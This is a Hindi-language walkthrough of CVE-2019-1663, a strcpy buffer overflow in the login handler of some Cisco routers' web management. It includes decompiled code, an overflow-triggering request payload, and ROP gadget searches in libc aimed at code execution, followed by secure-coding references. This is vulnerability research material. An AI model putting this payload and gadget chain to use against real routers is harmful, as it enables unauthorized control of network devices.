
CVE-2019-1663 के लिए विस्तृत बाइनरी विश्लेषण और एक्सप्लॉइट डेवलपमेंट वॉकथ्रू, जो Cisco राउटर वेब प्रबंधन में बफर ओवरफ्लो है, जिसमें डिसअसेंबली, ROP गैजेट खोज और शोषण के चरण शामिल हैं।
लेखक: Corentin Wolff
यह कमजोरी फ़ंक्शन 0x0002BF64 से उत्पन्न होती है, जो strcpy फ़ंक्शन का दुरुपयोग करता है, जिससे यह बफर ओवरफ्लो हमलों के लिए संवेदनशील हो जाता है। स्पष्टता के लिए, इस फ़ंक्शन का नाम बदलकर Login रखा गया है। नीचे समस्या को दर्शाने वाला एक स्निपेट दिया गया है:
undefined4 Login(char *param_1, char *param_2, char *param_3, int param_4) { ... }
इस स्निपेट में, strcpy फ़ंक्शन का अनुचित उपयोग किया गया है, जिससे बफर ओवरफ्लो कमजोरी उत्पन्न होती है:
if (param_4 == 0) {
iVar2 = strncmp(acStack_fa, "enc=", 4);
if (iVar2 != 0) {
strcpy(acStack_15e, acStack_fa);
strcpy(acStack_1c2, param_2);
goto LAB_0002c264;
}
}
कोड का यह भाग उपयोगकर्ता नाम की जाँच करता है:
if (iVar2 != 0) {
syslog(6, "Web management login failed, user=%s\n", param_1);
}
पैरामीटर param_1 को उपयोगकर्ता नाम फ़ील्ड के रूप में पहचाना गया है।
इसी प्रकार, param_2 पासवर्ड से मेल खाता है, जबकि param_3 को httpd_user के रूप में पहचाना गया है।
login_flag चर कनेक्शन स्थितियों को दर्शाता है:
0 → Login error
1 → Admin login successful
2 → Admin login denied due to an existing session
3 → Admin login forcing logout
यह कमजोरी एक बफर ओवरफ्लो है जो strcpy फ़ंक्शन के अनुचित उपयोग के कारण होती है।
strcpy फ़ंक्शन स्रोत स्ट्रिंग के आकार की तुलना गंतव्य बफर की क्षमता से नहीं करता है। इससे आसन्न मेमोरी क्षेत्रों को अधिलेखित किया जा सकता है।
CVE-2019-1663 कुछ Cisco राउटर मॉडलों में इनपुट आकार सत्यापन की कमी का शोषण करता है।
a. No Length Check: Unsanitized user input is passed to strcpy.
b. Memory Overflow: Excess data overwrites critical memory regions.
c. Arbitrary Code Execution: Attackers inject and execute malicious code.
d. Exploitation Requirements: Access to the router's web configuration server.
e. Impact: Privileged access, enabling network espionage, traffic redirection, malware installation, or backdoors.
&enc=1&user=cisco&pwd=AAAA...AAAAZZZZ&sel_lang=EN
यह एक सेग्मेंटेशन फॉल्ट को ट्रिगर करता है। इष्टतम बफर आकार निर्धारित करके, हमलावर दुर्भावनापूर्ण कोड इंजेक्ट और निष्पादित कर सकते हैं।
ibc.so.0/ELF/ARM)> disasm_address 0x00034410
Instructions
============
0x00034410: pop {r0, pc}
(libc.so.0/ELF/ARM)> disasm_address 0x00041304
Instructions
============
0x00041304: mov r2, r0
(libc.so.0/ELF/ARM)> search %mov r2, r0%
[INFO] Searching for gadgets: %mov r2, r0%
[INFO] File: libc.so.0
0x00041304: mov r2, r0; mov r0, sp; blx r2;
MITRE CWE-120: इनपुट के आकार की जाँच किए बिना बफर कॉपी
https://cwe.mitre.org/data/definitions/120.html
MITRE CWE-787: सीमा से बाहर लेखन
https://cwe.mitre.org/data/definitions/787.html
OWASP बफर ओवरफ्लो अवलोकन
https://owasp.org/www-community/vulnerabilities/Buffer_Overflow
Microsoft Learn पर "बफर ओवरफ्लो"
https://learn.microsoft.com/en-us/cpp/security/security-best-practices-for-c-cpp
CERT सुरक्षित कोडिंग मानक - STR31-C
https://wiki.sei.cmu.edu/confluence/display/c/STR31-C.+Guarantee+that+storage+for+strings+has+sufficient+space+for+character+data+and+the+null+terminator
CVE-2019-1663 का शोषण - Quentin Kaiser द्वारा लेख
https://quentinkaiser.be/exploitdev/2019/08/30/exploit-cve-2019-1663